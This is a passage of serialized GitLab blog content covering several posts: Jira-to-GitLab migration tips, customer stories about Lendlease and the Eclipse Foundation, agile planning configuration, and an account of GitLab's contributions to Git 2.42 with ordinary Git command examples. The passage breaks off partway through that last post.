from Jira to GitLab for Agile planning to streamline organizational processes. Moving your team to a new Agile planning tool can seem daunting, but this change is worth the effort. GitLab empowers your teams to collaborate seamlessly in a single DevSecOps platform, leading to increased delivery of user value. We have helped many customers of all sizes and Agile maturities transition to GitLab and are ready to help. In this blog, you'll find practical tips to help you in your journey migrating to GitLab for Agile planning.\n\n## Tips for your migration\n\n### Examine your Jira setup\n\nTake the time to understand your current Jira setup — consider this an opportunity to [simplify your configuration](https://about.gitlab.com/blog/five-reasons-to-simplify-agile-planning-tool-configuration-gitlab/). Moving to a new Agile planning tool allows you to rethink processes and find ways to empower your teams to deliver software faster.\n\n### Start with an integration\n\nThe [GitLab Jira integration](https://docs.gitlab.com/ee/integration/jira/configure.html) allows you to see your Jira issues in GitLab. That way, you can retain Jira as your source of truth for Agile planning while you migrate other DevSecOps processes into GitLab. Your engineers will be able to stay within GitLab for their day-to-day work, and Product, Project, and Design team members can explore GitLab before transitioning. Easing your way into a new tool gives your users time to adjust to a new way of working.\n\n![Issue View in Jira](https://about.gitlab.com/images/blogimages/atlassianjira/issueview.png){: .shadow.medium.center}\nIssue View in Jira\n{: .note.text-center}\n\n### Plan your GitLab setup\n\nFocusing on planning up front will save you time down the road and prevent unnecessary change management. GitLab has several key features that can greatly improve your experience and allow you to get the best value from your investment, including:\n- [Groups and projects](https://docs.gitlab.com/ee/user/group/): Jira doesn't allow you to create a hierarchy for containers of Agile planning work items. Groups and projects in GitLab unlock portfolio \"team of teams\" planning, permissions management, and data rollups. Consider how you want to roll up data and assign permissions when creating a group and project structure. We recommend creating a group to represent your team where you can manage epics, labels, and boards. Child projects under your team's groups can house your repositories and related issues.\n- [Labels](https://docs.gitlab.com/ee/user/project/labels.html): GitLab offers many ways to customize your experience based on labels. We recommend creating a set of scoped labels to represent statuses. We also often see users create scoped labels for work categorization, such as `bug`, `enhancement`, or `maintentance`. If you had a custom field for a value in Jira or you want to be able to filter or pull analytics by a specific attribute, just create a label for it in GitLab.\n- [Milestones and iterations](https://docs.gitlab.com/ee/user/project/milestones/): Use milestones to longer-running planning, such as Releases or Program Increments in the Scaled Agile Framework® (SAFe®). This is typically a Fix Version in Jira. Iterations represent team sprints. In GitLab, you can view a burnup or burndown chart for both milestones and iterations.\n\n![Group and project example](https://about.gitlab.com/images/blogimages/2023-09-28-tips-for-a-successful-jira-to-gitlab-migration/group_projects_setup.png){: .shadow.medium.center}\nUse groups and projects to model your organizational hierarchy\n{: .note.text-center}\n\n### Determine the scope of your data migration\n\nMigrating to a new tool is an opportunity to do some backlog clean up! When deciding what data to migrate, focus on what you'll need to successfully continue your team's work. Bringing large volumes of historical data to a new tool will increase the complexity and effort to migrate, and many times offers limited value. Historical data can remain in your Jira instance, or you can archive it so that it's accessible without migrating it into GitLab. Once you've narrowed down your dataset, use [the Jira issue importer](https://docs.gitlab.com/ee/user/project/import/jira.html) to migrate data into GitLab. Our [REST](https://docs.gitlab.com/ee/api/rest/index.html) and [GraphQL](https://docs.gitlab.com/ee/api/graphql/index.html) APIs are available for those that want to build a more customized migration experience.\n\n![Jira importer](https://about.gitlab.com/images/blogimages/2023-09-28-tips-for-a-successful-jira-to-gitlab-migration/import_issues_from_jira.png){: .shadow.small.center}\nUsing GitLab Jira importer, you can import your Jira issues to GitLab.com or to your self-managed GitLab instance\n{: .note.text-center}\n\n### Plan your migration timeline\n\nIn a typical organization, there will be different levels of proccess complexity and maturity within the teams migrating to GitLab. Run a pilot with a team that has a simple setup and is willing to provide feedback. This will allow you to smooth out potential problems, improve your configuration, and document best practices. We recommend planning for time in your schedule to iterate on your configuration.\n\n### Document and share best practices\n\nKnowledge sharing is an important part of improving your process. Provide teams that are onboarding the opportunity to give feedback and share best practices. You can use [GitLab wikis](https://docs.gitlab.com/ee/user/project/wiki/) to serve as a central source of knowledge for your Agile planning process and to document best practices.\n\n\n### Monitor progress and improvements\n\nAfter migrating to GitLab, your teams will unlock new analytics capabilties that allow you to track the flow of value across a value stream. As a result, you'll have the data you need to celebrate successes and learn from missteps. With [Value Stream Analytics](https://docs.gitlab.com/ee/user/group/value_stream_analytics/) and the [Value Stream Dashboard](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html), you can monitor the positive effect of moving Agile planning workflows from a siloed tool to an integrated DevSecOps platform.\n\n![Value Stream Analytics gives you an overview of the time spent at each stage of your DevSecOps workflow](https://about.gitlab.com/images/blogimages/2023-05-07-vsa-overview.gif){: .shadow.medium.center}\nValue Stream Analytics gives you an overview of the time spent at each stage of your DevSecOps workflow\n{: .note.text-center}\n\n\n## Getting started\n\nBy following the tips outlined in this blog, you can help your migration be more efficient and maximize the potential of GitLab for your Agile needs. You can get started today with the [the Jira issue importer](https://docs.gitlab.com/ee/user/project/import/jira.html). Once you've onboarded into GitLab, you can scale your Agile processes further with [portfolio]( https://about.gitlab.com/solutions/agile-delivery/) and [value stream management](https://about.gitlab.com/solutions/value-stream-management/).\n\nHave questions about migrating from Jira to GitLab? [We're here to help](https://about.gitlab.com/sales/).\n",[1899,479],{"slug":8049,"featured":6,"template":678},"tips-for-a-successful-jira-to-gitlab-migration","content:en-us:blog:tips-for-a-successful-jira-to-gitlab-migration.yml","Tips For A Successful Jira To Gitlab Migration","en-us/blog/tips-for-a-successful-jira-to-gitlab-migration.yml","en-us/blog/tips-for-a-successful-jira-to-gitlab-migration",{"_path":8055,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8056,"content":8062,"config":8067,"_id":8069,"_type":16,"title":8070,"_source":17,"_file":8071,"_stem":8072,"_extension":20},"/en-us/blog/lendlease-driving-change-with-gitlab",{"title":8057,"description":8058,"ogTitle":8057,"ogDescription":8058,"noIndex":6,"ogImage":8059,"ogUrl":8060,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8060,"schema":8061},"How global real estate company Lendlease is driving change with GitLab","Learn how Lendlease is using GitLab to improve visibility, foster collaboration, and empower everyone to be responsible for security.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670317/Blog/Hero%20Images/blog-banner-blue-neon.png","https://about.gitlab.com/blog/lendlease-driving-change-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How global real estate company Lendlease is driving change with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2023-10-23\",\n      }",{"title":8057,"description":8058,"authors":8063,"heroImage":8059,"date":8064,"body":8065,"category":2702,"tags":8066},[3907],"2023-10-23","\n\nWhen Lendlease, a $6 billion (AUD) multinational real estate company, needed to facilitate a culture change in their software development teams, they turned to GitLab and its DevSecOps platform.\n\nThat’s the message Ciaran Hennessy, chief software architect for Lendlease Digital, a business unit of Lendlease, shared in an on-stage interview at the Melbourne, Australia, stop of [GitLab’s DevSecOps World Tour](https://about.gitlab.com/events/devsecops-world-tour/). By beginning to eliminate a complicated toolchain with an end-to-end platform, the Sydney-based organization has been able to fuel collaboration, increase visibility, and make everyone responsible for security.\n\n“We were breaking the old models of culture and teams,” said Hennessy, a self-described “uber nerd” with 23 years of experience in the tech industry. “Especially after COVID permanently transformed the working environment, we needed to create cohesion in teams when you can't have them all in the same room. And that gave us the opportunity to make other changes to the way we handle security, visibility, and managing our legacy technology.”\n\nIn an interview with Craig Nielsen, vice president of enterprise sales at GitLab, Hennessy also talked about pushing legacy technology into pipelines, and how he expects generative artificial intelligence (AI) will come into play.\n\nLet’s jump into what Hennessy had to say.\n\n## Gaining “radical visibility”\n\nWhen the COVID pandemic pushed businesses toward hybrid work structures, Lendlease saw it as the perfect time to change the way people not only get their jobs done but how they see their role and responsibilities inside a DevOps team, according to Hennessy. The challenge was to figure out how to give everyone from executives to coders and security specialists visibility into how projects were progressing, where stumbling blocks were popping up, and what solutions worked best.\n\nUsing a single platform gave them what Hennessy called “radical visibility.”\n\n“We have no walls between our teams anymore,” he told the DevSecOp World Tour audience. “Everybody can see everything. We’re empowering people to look at everything and learn about other parts of a project. It enables people to say, ‘Oh, I also had that problem. Let me help you solve that.’ And people aren’t spending their time asking, ‘Does anybody know where this code is?’ or ‘Does anybody know who worked on this last time?’ Everybody can track all of the work.”\n\nHennessy called this level of visibility a “game changer” for Lendlease.\n\n## Fostering collaboration\n\nWith that transparency into projects and workflows, it simply was much easier and more natural for teams to work together. And since the company’s software development organization is spread from Australia to Singapore, the U.S., and the U.K., team members needed a way to work together that went beyond instant messaging and phone calls. \n\n“We gained shared knowledge and context,” said Hennessy. “The platform enabled people to contribute to what others were working on and it means an individual is able to produce more easily what they need to.”\n\nHe added that being able to see what’s happening with a project from start to finish enables managers to act as mentors and teachers, guiding DevOps workers and helping them learn new ways to do their jobs. “I tell people that visibility doesn’t mean you’re the cop,” he added. “You’re the ones sitting on the edge cheering everybody on to do a good job. With a single platform, you’re creating those opportunities. This is where GitLab is really useful.”\n\n## Sharing security responsibility\n\nWhen Lendlease was considering adopting GitLab, a big part of the attraction was the fact that security was “baked into” the app, said Hennessy. With the GitLab DevSecOps Platform, security is pushed left, meaning developers start thinking about security when they begin planning new features or projects. And everyone can participate in securing code, so features or products aren’t left to only be tested right before production, stalling work and slowing releases.\n\n“Security is not an afterthought. It's part of the culture that we brought in,” said Hennessy. “Security is not useful in your software development process unless everybody is a security person. Everyone is responsible for security and with a platform that works.”\n\nHe noted that before using a platform, a developer might spot a vulnerability in his code but not fix it because he figured someone at the end of the process would deal with it. “Now, with the shift left, nobody is intentionally letting a security vulnerability go through into their product,” said Hennessy. “Someone might have created 20 vulnerabilities in their code, but it's fine because they were aware and acted responsibly, so the flaws never got through into a working environment.”\n\n## Adapting for the future \n\nA 65-year-old company, Lendlease has decades worth of legacy code. One challenge with that is some junior developers may not have experience working with older programming languages. However, it can still play a valuable role in the tech ecosystem. By taking a thoughtful and strategic approach to integrating legacy tech, the business is able to leverage its full technological capabilities while also prioritizing the needs of teams and stakeholders.\n\nSo how will they update or integrate this older tech? \n\n“There is so much value companies have invested in classic technology,” Hennessy explained. “We had applications running that no one had touched for 15 years. It's really hard to get people to work on that stuff because it's not cool and exciting. Try and give a mainframe application written in Modula-2 to a 23-year-old developer just out of university and see what happens.”\n\nHowever, using GitLab’s platform, Hennessy’s teams push legacy code into pipelines and containerize it. By creating container images that mimic the company’s current environments and dependencies, new developers can use that to work on and test the applications, applying new methodologies and best practices. \n\n“Good code never dies. It just becomes legacy,” said Hennessy. “We gave it new value.”\n\n## Adding muscle with generative AI\n\nHennessy is welcoming of generative AI, noting that he’s not really concerned about the technology replacing software developers’ jobs. He does, however, wonder how it will affect how, and how much, coders learn. \n\n“The bit I'm worried about is the loss of the foundational skills that good software developers have,” he explained. “AI will provide a lot of acceleration to get them past the things they might need to learn through time and experience, and doing stupid things and working through it. We could have a generation of software developers who know how to do all the top-layer stuff but they won’t know the foundational things of how it all works.”\n\nDespite those concerns, Hennessy told the Melbourne audience he expects using generative AI will be like adding extra hands to his DevSecOps teams. \n\n“The thing I find really interesting about it is you get a resource that you can use to help you create new value,” he said. “I’m really interested in how we can use it to massively accelerate creation.”\n\n_Lendlease is a globally integrated real estate group. Its core capabilities are reflected in three operating segments — investments, development, and construction. The combination provides them with the ability to deliver innovative integrated solutions for its customers._\n\n_Read more GitLab customer stories on our [customers page](https://about.gitlab.com/customers/)._\n",[2705,2368,674],{"slug":8068,"featured":6,"template":678},"lendlease-driving-change-with-gitlab","content:en-us:blog:lendlease-driving-change-with-gitlab.yml","Lendlease Driving Change With Gitlab","en-us/blog/lendlease-driving-change-with-gitlab.yml","en-us/blog/lendlease-driving-change-with-gitlab",{"_path":8074,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8075,"content":8081,"config":8087,"_id":8089,"_type":16,"title":8090,"_source":17,"_file":8091,"_stem":8092,"_extension":20},"/en-us/blog/how-eclipse-foundation-champions-open-source-with-gitlab",{"title":8076,"description":8077,"ogTitle":8076,"ogDescription":8077,"noIndex":6,"ogImage":8078,"ogUrl":8079,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8079,"schema":8080},"How the Eclipse Foundation champions open source with GitLab","In this interview, learn how adopting GitLab helps the Eclipse Foundation be a more effective champion for open source.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679184/Blog/Hero%20Images/eclipsefoundationcover.png","https://about.gitlab.com/blog/how-eclipse-foundation-champions-open-source-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How the Eclipse Foundation champions open source with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Bryan Behrenshausen\"}],\n        \"datePublished\": \"2023-10-19\",\n      }",{"title":8076,"description":8077,"authors":8082,"heroImage":8078,"date":8084,"body":8085,"category":813,"tags":8086},[8083],"Bryan Behrenshausen","2023-10-19","\nThe Eclipse Foundation is a pillar of the open source ecosystem. Home to more than 415 open source projects, the not-for-profit organization has been championing open source collaboration and innovation for more than two decades.\n\nGitLab plays a significant role in the Eclipse Foundation's operations, and the organization recently joined the GitLab [GitLab Open Source Partners](https://go.gitlab.com/030Ue3) community. To mark the occasion, I caught up with Denis Roy, IT director at the Eclipse Foundation, to chat about the organization's history, vision, and passion for open source development.\n\n**We're so excited to welcome the Eclipse Foundation to the GitLab Open Source Partners community. You've been champions of open source for quite some time. Tell us about your history and the mission that guides you today.**\n\nThe Eclipse Foundation was born in 2004, as a not-for-profit, [open source](https://go.gitlab.com/spHNym) software foundation with the goal of driving the evolution of the Eclipse Platform and its ecosystem of tools, plugins, and addons in a vendor-neutral, open, and transparent community. Since then, the Eclipse Foundation has become one of the world's largest open source software foundations. The foundation offers a mature, scalable, and business-friendly environment for open source software collaboration and innovation, hosting more than 415 open source projects, including runtimes, tools, and frameworks for a wide range of technology domains such as the Internet of Things, automotive, geospatial, systems engineering, and many others.\n\n> Connect with the GitLab Open Source Partners on [Gitlab.com](https://gitlab.com/gitlab-com/marketing/community-relations/open-source-program/gitlab-open-source-partners).\n\n**How does the Eclipse Foundation use GitLab? What has using GitLab helped you accomplish?**\n\nGitLab has allowed us to modernize our development platform, because it offers an integrated, cohesive environment to help maximize developer productivity while reducing the administrative overhead related to managing such a complex set of tools. With a single package to upgrade and maintain, and tight integration between code repositories, issue trackers, wikis, code review, and CI tools, it's easier for the Eclipse Foundation's IT team to stay up to date. This has allowed us to reduce our reliance on customized, in-house code.\n\nWhen we began our work in 2004, open source code hosting options were rudimentary and limited. At the time, we created our own forge by using a handful of tools that were not designed with interoperability in mind, including [CVS](https://www.nongnu.org/cvs/), [Bugzilla](https://www.bugzilla.org/), and [MediaWiki](https://www.mediawiki.org/wiki/MediaWiki). When it came time to refresh our offering, it was an easy decision to replace our home-grown forge with GitLab, since GitLab offers a seamless integration of all these developer tools, and many more, within a single, easy-to-use package. This creates a very useful environment for our developers and allows the project teams to be productive while offering a familiar interface for interacting and building their user communities.\n\nAt this time, [the Eclipse Foundation's GitLab instance](https://gitlab.eclipse.org) hosts more than 70 [open source software projects](https://gitlab.eclipse.org/eclipse) and dozens of other projects that [help us manage and support our community](https://gitlab.eclipse.org/eclipsefdn).\n\n**How big is the Eclipse Foundation's IT team? What have you seen the team achieve after the migration to GitLab?**\n\nThe Foundation's IT team consists of a dozen people, split almost evenly between infrastructure, release engineering, security, and web development. Our migration to GitLab is still a work in progress, but it's allowing the Eclipse Foundation IT team to consolidate our code repositories, issues, and documentation onto a single platform with a modern and friendly UI. The same is also true for the Eclipse OSS projects that have, or are currently migrating from, \"pure Git\" to GitLab.\n\nWith GitLab, the team is seeing a notable decrease in both administrative overhead and user support, as using, managing, and maintaining GitLab on premise is straightforward and very robust. We're able to stay up-to-date with new GitLab releases easily, which scores extra points with our security team. We're able to use that freed time towards activities that benefit our community and provide extra value.\n\n**What's on the horizon for the Eclipse Foundation? What are your most important initiatives right now?**\n\nOne of the big initiatives we’re working on right now is improving the security of our open source projects. We’ve made a significant investment in security over the past year, including auditing some of our top projects for security concerns and we are looking to establish a [working group](https://www.eclipse.org/org/workinggroups/eclipse-cyber-risk-concept.php) to help us gain the resources we need to enhance our security processes across all of our operations.\n\nWe're also focused on growing the [Eclipse Software Defined Vehicle](https://sdv.eclipse.org/) community, which continues to gain momentum with new members like General Motors, Qualcomm, and Microsoft. The automotive industry is becoming increasingly willing to collaborate on open source software, and experience the technological and business benefits of doing so.  \n\n**How can GitLab community members get more involved in the Eclipse Foundation's work?**\n\nIt's easy! Browse the list of [Eclipse Projects](https://projects.eclipse.org/) and discover the Developer Resources section. Or browse the list of projects on Eclipse's [GitLab instance](https://gitlab.eclipse.org/eclipse) and send in those those merge requests!\n\n## Learn more\nThe [GitLab Open Source Partners](https://go.gitlab.com/030Ue3) are building the future of open source on GitLab. Connect with them on [Gitlab.com](https://gitlab.com/gitlab-com/marketing/community-relations/open-source-program/gitlab-open-source-partners).\n",[815,267,754],{"slug":8088,"featured":6,"template":678},"how-eclipse-foundation-champions-open-source-with-gitlab","content:en-us:blog:how-eclipse-foundation-champions-open-source-with-gitlab.yml","How Eclipse Foundation Champions Open Source With Gitlab","en-us/blog/how-eclipse-foundation-champions-open-source-with-gitlab.yml","en-us/blog/how-eclipse-foundation-champions-open-source-with-gitlab",{"_path":8094,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8095,"content":8100,"config":8105,"_id":8107,"_type":16,"title":8108,"_source":17,"_file":8109,"_stem":8110,"_extension":20},"/en-us/blog/five-reasons-to-simplify-agile-planning-tool-configuration-gitlab",{"title":8096,"description":8097,"ogTitle":8096,"ogDescription":8097,"noIndex":6,"ogImage":7820,"ogUrl":8098,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8098,"schema":8099},"5 reasons to simplify your agile planning tool configuration with GitLab","Get more from your agile planning with a platform that supports automation, protects the user experience, and reduces time spent on tool configurations.","https://about.gitlab.com/blog/five-reasons-to-simplify-agile-planning-tool-configuration-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 reasons to simplify your agile planning tool configuration with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Melissa Ushakov\"}],\n        \"datePublished\": \"2023-10-17\",\n      }",{"title":8096,"description":8097,"authors":8101,"heroImage":7820,"date":8102,"body":8103,"category":1897,"tags":8104},[5555],"2023-10-17","\nAgile planning tools offer an opportunity to guide team members through a workflow and to follow best practices. In some agile planning tools, like Atlassian Jira, this is done by configuring enforced status workflows for agile planning work items. However, enforced status workflows can slow response times, impact team autonomy, and have other negative effects. Instead, let's explore how a single DevSecOps platform with built-in agile tooling can simplify the process — and how GitLab can help.\n\n## What are enforced status workflows?\nEnforced status workflows define the statuses a work item can be in, the allowed status transitions, the data elements needed to perform a status transition, and which users can perform a status transition. In a typical Jira-user scenario, developers have to manually fill in required data and advance an item through a prescribed status workflow that may not account for exceptions. Enforced workflows in an agile planning tool can limit creativity and unnecessarily block progress when exceptions are encountered, hindering the team's ability to respond swiftly to changing priorities and limiting their autonomy in delivering the best business outcomes.\n\n![status workflows](https://about.gitlab.com/images/blogimages/2023-09-26-say-no-to-complex-status-enforcements-in-your-agile-planning-tool/status_workflow_example.png){: .shadow.small.center}\nExample of an enforced workflow preventing certain status transitions\n{: .note.text-center}\n\n\n## Guiding users through a workflow with GitLab\nHere are five ways GitLab simplifies your agile planning tool configuration.\n\n### 1. Statuses are enforced close to the work for better efficiency.\nCompliance and security checks are necessary, and organizations should ensure that work goes through the proper reviews and that the right team members are involved. Agile planning work items are an artifact that helps align the scope of work of a deliverable, and the work to make that scope a reality happens in downstream in merge requests. Many times, enforcements are better suited to be applied through [approval rules](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html), [compliance pipelines](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html#compliance-pipelines), or [deployment approvals](https://docs.gitlab.com/ee/ci/environments/deployment_approvals.html). This leads to a greater assurance that the code changes have followed the right process, which matters most. For example, instead of having an enforced status transition in your work items for a security review, you can create [merge request approval rules](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html), setting the members of your security team as approvers. [Deployment approvals](https://docs.gitlab.com/ee/ci/environments/deployment_approvals.html) can be set up so that your quality assurance lead needs to approve the deployment to specific environments.\n\n![status workflows](https://about.gitlab.com/images/blogimages/2023-09-26-say-no-to-complex-status-enforcements-in-your-agile-planning-tool/unified_approval_rules_v16_0.png){: .shadow.small.center}\nThe production environment requires five total approvals, and allows deployments from only the \"Very Important Group\" and the user administrator.\n{: .note.text-center}\n\n\n### 2. Automation improves data quality.\nThis may seem counterintuitive, but when you place too many restrictions on what data entry is allowed, people stop updating their work items, leading to poor data quality. Working through exceptions to the process is cumbersome, and users need to misreport activity to close the work item when work is done. For example, it's common for users in a tool with workflow enforcements to quickly advance an issue through statuses that didn’t happen so that it could be closed when work has been completed. What if you could intelligently derive the status of work instead of relying on people updating issues? With [GitLab triage](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage), automation can add or remove labels, set a health status based on downstream DevOps activity, and more. Your developers can spend more time on product innovation and driving your business objectives forward instead of manually updating details, which automation can handle. \n\n![bot labels](https://about.gitlab.com/images/blogimages/2023-09-26-say-no-to-complex-status-enforcements-in-your-agile-planning-tool/gitlab_bot_health.png){: .shadow.medium.center}\nUpdate health with automation\n{: .note.text-center}\n\n\n![bot health](https://about.gitlab.com/images/blogimages/2023-09-26-say-no-to-complex-status-enforcements-in-your-agile-planning-tool/gitlab_bot_labels.png){: .shadow.medium.center}\nUpdate labels with automation\n{: .note.text-center}\n\n\n### 3. The user experience is protected.\nAt GitLab, we prioritize [convention over configuration](https://about.gitlab.com/handbook/product/product-principles/#convention-over-configuration) as one of our product principles to deliver exceptional user experiences. This is why GitLab avoids using heavy-handed enforced status workflows in agile planning tools, which end users often dislike. These workflows create friction and hinder your team's productivity. Instead, teams should encourage transparency by explaining the importance of each step in the process, fostering understanding and buy-in. GitLab enables teams to represent a status flow with boards that help to understand the intended flow. A simplified planning tool setup within the DevSecOps platform drives collaboration, transparency, and trust across all roles, leading to a better full-team experience where developers can deliver more value faster.\n\n![workflow board](https://about.gitlab.com/images/blogimages/2023-09-26-say-no-to-complex-status-enforcements-in-your-agile-planning-tool/workflow_board.png){: .shadow.medium.center}\nBoards guide your team through a sequence of statuses\n{: .note.text-center}\n\n\n### 4. Developer tool integration is simplified.\nOrganizations often have a rich ecosystem of tools, and the inability to fully integrate with a critical tool like your agile planning solution limits efficiency and flexibility, potentially leading to time-consuming manual processes. When your status process flow is too restrictive, it is almost impossible to update data from an integration accurately, leading to data mismatches between systems. Other vendors, like Atlassian, have resorted to advising against updating data via an integration. At GitLab, we embrace developer tool preferences and have a comprehensive [suite of APIs and webhooks](https://docs.gitlab.com/ee/api/).\n\n### 5. Time spent on tool configuration is reduced.\nAgile planning tools require close management of configurations. The more prescriptive you make workflows, the more time you have to spend tending to those configurations. With GitLab, automated workflow controls require less effort and enable greater team autonomy. By embracing GitLab's flexible configuration options, teams can spend less time on agile planning tool management and innovate more efficiently. \n\n## Getting started with GitLab\nWith a simplified agile planning tool setup in GitLab that takes advantages of modern DevSecOps practices, you can increase efficiency, encourage collaboration, and get to market faster – all while improving the developer experience.\n\nGet started today with the [Jira importer](https://docs.gitlab.com/ee/user/project/import/jira.html).\n",[1899,479,943,695],{"slug":8106,"featured":6,"template":678},"five-reasons-to-simplify-agile-planning-tool-configuration-gitlab","content:en-us:blog:five-reasons-to-simplify-agile-planning-tool-configuration-gitlab.yml","Five Reasons To Simplify Agile Planning Tool Configuration Gitlab","en-us/blog/five-reasons-to-simplify-agile-planning-tool-configuration-gitlab.yml","en-us/blog/five-reasons-to-simplify-agile-planning-tool-configuration-gitlab",{"_path":8112,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8113,"content":8119,"config":8124,"_id":8126,"_type":16,"title":8127,"_source":17,"_file":8128,"_stem":8129,"_extension":20},"/en-us/blog/contributions-to-git-2-42-release",{"title":8114,"description":8115,"ogTitle":8114,"ogDescription":8115,"noIndex":6,"ogImage":8116,"ogUrl":8117,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8117,"schema":8118},"Git 2.42 release: Here are four of our contributions in detail","Find out how GitLab's Git team helped improve Git 2.42.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667792/Blog/Hero%20Images/git-241.jpg","https://about.gitlab.com/blog/contributions-to-git-2-42-release","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git 2.42 release: Here are four of our contributions in detail\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christian Couder\"}],\n        \"datePublished\": \"2023-10-12\",\n      }",{"title":8114,"description":8115,"authors":8120,"heroImage":8116,"date":8121,"body":8122,"category":695,"tags":8123},[3145],"2023-10-12","\n\n[Git 2.42](https://gitlab.com/gitlab-org/git/-/raw/master/Documentation/RelNotes/2.42.0.txt)\nwas officially released on August 21, 2023, and included some\nimprovements from GitLab's Git team. Git is the foundation of\nrepository data at GitLab. GitLab's Git team works on new features, performance improvements, documentation improvements,\nand growing the Git community. Often our contributions to Git have a\nlot to do with the way we integrate Git into our services at\nGitLab.\n\nWe previously shared [some of our improvements that were included in the Git 2.41 release](https://about.gitlab.com/blog/contributions-to-latest-git-release/). Here are some highlights from the Git 2.42 release, and a\nwindow into how we use Git on the server side at GitLab.\n\n## 1. Prevent certain refs from being packed\n\n### Write-ahead logging\nIn [Gitaly](https://docs.gitlab.com/ee/administration/gitaly/), we\nwant to use a [write-ahead log](https://gitlab.com/groups/gitlab-org/-/epics/8911)\nto replicate Git operations on different machines.\n\nThis means that the Git objects and references that should be changed\nby a Git operation are first kept in a log entry. Then, when all the\nmachines have agreed that the operation should proceed, the log entry\nis applied so the corresponding Git objects and references are\nactually added to the repositories on all the machines.\n\n### Need for temporary references\nBetween the time when a specific log entry is first written and when\nit is applied, other log entries could be applied which could remove\nsome objects and references. It could happen that these objects and\nreferences are needed to apply the specific log entry though.\n\nSo when we log an entry, we have to make sure that all the objects and\nreferences that it needs to be properly applied will not be removed\nuntil that entry is either actually applied or discarded.\n\nThe best way to make sure things are kept in Git is to create new Git\nreferences pointing to these things. So we decided to use temporary\nreferences for that purpose. They would be created when a log entry is\nwritten, and then deleted when that entry is either applied or\ndiscarded.\n\n### Packed-refs performance\nGit can store references in \"loose\" files, with one reference per\nfile, or in the `packed-refs` file, which contains many of them. The\n`git pack-refs` command is used to pack some references from \"loose\"\nfiles into the `packed-refs` file.\n\nFor reading a lot of references, the `packed-refs` file is very\nefficient, but for writing or deleting a single reference, it is not\nso efficient as rewriting the whole `packed-refs` file is required.\n\nAs temporary references are to be created and then deleted soon after,\nstoring them in the `packed-refs` file would not be efficient. It\nwould be better to store them in \"loose\" files.\n\nThe `git pack-refs` command had no way to be told precisely which refs\nshould be packed or not though. By default it would repack all the\ntags (which are refs in `refs/tags/`) and all the refs that are\nalready packed. With the `--all` option one could tell it to repack\nall the refs except the hidden refs, broken refs, and symbolic refs,\nbut that was the only thing that could be controlled.\n\n### Improving `git pack-refs`\nWe decided to improve `git pack-refs` by adding two new options to it:\n  - `--include \u003Cpattern>` which can be used to specify which refs should be packed\n  - `--exclude \u003Cpattern>` which can be used to specify which refs should not be packed\n\n[John Cai](https://gitlab.com/jcaigitlab), Gitaly:Git team engineering manager, implemented these options.\n\nFor example, if the refs managed by the write-ahead log are in\n`refs/wal/`, it's now possible the exclude them from being moved into\nthe `packed-refs` file by using:\n\n```\n$ git pack-refs --exclude \"refs/wal/*\"\n```\n\nDetails of the patch series, including discussions, can be found\n[here](https://lore.kernel.org/git/pull.1501.git.git.1683215331910.gitgitgadget@gmail.com/).\n\n## 2. Get machine-readable output from `git cat-file --batch`\n\n### Efficiently retrieving Git object information\nIn GitLab, we often retrieve Git object information. For example, when a\nuser navigates into the files and directories in a repository, we need\nto get the content of the corresponding Git blobs and trees so that\nwe can show it.\n\nIn Gitaly, we use `git cat-file` to retrieve Git object information\nfrom a Git repository. As it's a frequent operation, it needs to be\nperformed efficiently, so we use the batch modes of `git cat-file`\navailable through the `--batch`, `--batch-check` and `--batch-command`\noptions.\n\nIn these modes, a pointer to a Git object can be repeatedly sent to\nthe standard input, called 'stdin', of a `git cat-file` command, while\nthe corresponding object information is read from the standard ouput,\ncalled 'stdout' of the command. This way we don't need to launch a\nnew `git cat-file` command for each object.\n\nGitLab can keep, for example, a `git cat-file --batch-command` process\nrunning in the background while feeding it commands like\n`info \u003Cobject>` or `contents \u003Cobject>` through its stdin to\nget either information about an object or its content.\n\n### Newlines in stdin, stdout, and filenames\nThe commands or pointers to Git objects that are sent through stdin\nshould be delimited using newline characters, and in the same way `git\ncat-file` will use newline characters to delimit the information from\ndifferent Git objects in its output. This is a common shell practice\nto make it easy to chain commands together. For example, one can\neasily get the size (in bytes) of the last three commits on the current\nbranch using the following:\n\n```\n$ git log -3 --format='%H' | git cat-file --batch-check='%(objectsize)'\n285\n646\n428\n```\n\nSometimes, though, the pointer to a Git object can contain a filename\nor a directory name, as such a pointer is allowed to be in the form\n`\u003Cbranch>:\u003Cpath>`. For example `HEAD:Documentation` is a valid\npointer to the blob or the tree corresponding to the `Documentation`\npath on the current branch.\n\nThis used to be an issue because on some systems newline characters\nare allowed in file or directory names. So the `-z` option was\nintroduced last year in Git 2.38 to allow users to change the input\ndelimiter in batch modes to the NUL character.\n\n### Error output\nWhen the `-z` option was introduced, it wasn't considered useful to\nchange the output delimiter to be also the NUL character. This is\nbecause only tree objects can contain paths and the internal format\nof tree objects already uses NUL characters to delimit paths.\n\nUnfortunately, it was overlooked that in case of an error the pointer\nto the object is displayed in the error message:\n\n```\n$ echo 'HEAD:does-not-exist' | git cat-file 